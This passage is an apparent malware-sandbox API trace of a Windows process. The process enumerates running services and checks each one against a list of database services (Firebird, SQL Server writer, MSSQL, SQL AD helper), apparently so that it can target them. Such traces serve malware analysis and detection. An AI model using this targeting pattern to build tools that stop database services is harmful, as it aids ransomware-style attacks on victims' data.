	[0164.774] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0164.774] CloseHandle (hObject=0x44c) returned 1
	[0164.775] Sleep (dwMilliseconds=0x1f4) 
	[0165.356] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929f48
	[0165.356] EnumServicesStatusExW (in: hSCManager=0x3929f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0165.357] GetLastError () returned 0xea
	[0165.357] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40ab7b8
	[0165.357] EnumServicesStatusExW (in: hSCManager=0x3929f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40ab7b8, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40ab7b8, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0165.358] CloseServiceHandle (hSCObject=0x3929f48) returned 1
	[0165.358] lstrlenW (lpString="AppXSvc") returned 7
	[0165.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.358] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0165.358] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0165.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0165.358] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0165.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0165.359] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0165.359] lstrlenW (lpString="Audiosrv") returned 8
	[0165.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0165.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0165.359] lstrlenW (lpString="BFE") returned 3
	[0165.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0165.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0165.359] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0165.359] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0165.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0165.359] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0165.359] lstrlenW (lpString="CDPSvc") returned 6
	[0165.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.359] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0165.359] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0165.360] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0165.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0165.360] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0165.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0165.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0165.360] lstrlenW (lpString="CryptSvc") returned 8
	[0165.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0165.360] lstrlenW (lpString="DcomLaunch") returned 10
	[0165.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0165.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0165.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0165.360] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0165.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0165.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0165.361] lstrlenW (lpString="Dhcp") returned 4
	[0165.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0165.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0165.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0165.361] lstrlenW (lpString="Dnscache") returned 8
	[0165.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0165.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0165.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0165.361] lstrlenW (lpString="DPS") returned 3
	[0165.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0165.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0165.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0165.361] lstrlenW (lpString="DusmSvc") returned 7
	[0165.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0165.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0165.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0165.361] lstrlenW (lpString="EventLog") returned 8
	[0165.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0165.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0165.362] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0165.362] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0165.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0165.362] lstrlenW (lpString="EventSystem") returned 11
	[0165.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0165.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0165.362] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0165.362] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0165.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0165.362] lstrlenW (lpString="FontCache") returned 9
	[0165.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0165.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0165.362] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0165.362] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0165.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0165.362] lstrlenW (lpString="gpsvc") returned 5
	[0165.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0165.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0165.362] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0165.362] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0165.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0165.362] lstrlenW (lpString="iphlpsvc") returned 8
	[0165.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.362] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0165.362] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0165.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0165.363] lstrlenW (lpString="KeyIso") returned 6
	[0165.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0165.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0165.363] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0165.363] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0165.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0165.363] lstrlenW (lpString="LanmanServer") returned 12
	[0165.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.363] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0165.363] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0165.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0165.363] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0165.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.364] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0165.364] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0165.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0165.364] lstrlenW (lpString="lfsvc") returned 5
	[0165.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0165.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0165.364] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0165.364] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0165.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0165.364] lstrlenW (lpString="lmhosts") returned 7
	[0165.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0165.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0165.364] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0165.364] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0165.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0165.364] lstrlenW (lpString="LSM") returned 3
	[0165.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0165.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0165.364] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0165.364] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0165.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0165.364] lstrlenW (lpString="MpsSvc") returned 6
	[0165.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0165.365] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0165.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0165.365] lstrlenW (lpString="NcbService") returned 10
	[0165.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0165.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0165.365] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0165.365] lstrlenW (lpString="netprofm") returned 8
	[0165.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0165.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0165.365] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0165.365] lstrlenW (lpString="NgcSvc") returned 6
	[0165.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0165.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0165.365] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0165.365] lstrlenW (lpString="NlaSvc") returned 6
	[0165.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0165.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0165.365] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0165.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0165.365] lstrlenW (lpString="nsi") returned 3
	[0165.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0165.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0165.366] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0165.366] lstrlenW (lpString="PcaSvc") returned 6
	[0165.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0165.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0165.366] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0165.366] lstrlenW (lpString="PlugPlay") returned 8
	[0165.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0165.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0165.366] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0165.366] lstrlenW (lpString="Power") returned 5
	[0165.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0165.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0165.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0165.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0165.366] lstrlenW (lpString="ProfSvc") returned 7
	[0165.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0165.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0165.367] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0165.367] lstrlenW (lpString="RpcEptMapper") returned 12
	[0165.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0165.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0165.367] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0165.367] lstrlenW (lpString="RpcSs") returned 5
	[0165.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0165.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0165.367] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0165.367] lstrlenW (lpString="SamSs") returned 5
	[0165.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0165.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0165.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0165.367] lstrlenW (lpString="Schedule") returned 8
	[0165.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0165.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0165.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0165.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0165.367] lstrlenW (lpString="SecurityHealthService") returned 21
	[0165.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0165.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0165.368] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0165.368] lstrlenW (lpString="SENS") returned 4
	[0165.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0165.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0165.368] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0165.368] lstrlenW (lpString="ShellHWDetection") returned 16
	[0165.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0165.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0165.368] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0165.368] lstrlenW (lpString="Spooler") returned 7
	[0165.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0165.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0165.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0165.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0165.368] lstrlenW (lpString="StateRepository") returned 15
	[0165.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0165.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0165.369] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0165.369] lstrlenW (lpString="SysMain") returned 7
	[0165.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0165.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0165.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0165.369] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0165.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0165.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0165.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0165.369] lstrlenW (lpString="Themes") returned 6
	[0165.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0165.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0165.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0165.369] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0165.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0165.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0165.369] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0165.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0165.369] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0165.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0165.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0165.370] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0165.370] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0165.370] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40ab7b8 | out: hHeap=0x710000) returned 1
	[0165.370] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e0
	[0165.378] Process32FirstW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
